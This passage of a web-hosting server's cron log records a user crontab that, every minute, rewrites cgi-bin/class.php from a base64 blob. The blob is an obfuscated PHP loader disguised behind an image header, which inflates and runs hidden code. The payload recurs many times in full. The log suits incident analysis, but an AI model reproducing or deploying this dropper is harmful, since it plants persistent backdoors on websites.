"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:30:01 server CROND[4906]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:30:01 server CROND[4907]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 02:30:01 server CROND[4908]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 02:30:01 server CROND[4910]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 02:31:01 server CROND[5034]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:32:01 server CROND[5089]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:33:01 server CROND[5246]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:34:01 server CROND[5308]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:35:01 server CROND[5394]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 02:35:01 server CROND[5403]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 02:35:01 server CROND[5404]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 02:35:01 server CROND[5405]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:35:01 server CROND[5407]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 11 02:36:01 server CROND[5527]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:37:01 server CROND[5611]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:38:01 server CROND[5769]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:39:01 server CROND[5844]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:39:01 server CROND[5845]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 02:40:01 server CROND[5915]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 02:40:01 server CROND[5914]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 02:40:01 server CROND[5916]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:40:01 server CROND[5917]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 02:41:01 server CROND[6046]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:42:01 server CROND[6103]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 02:42:01 server CROND[6104]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKS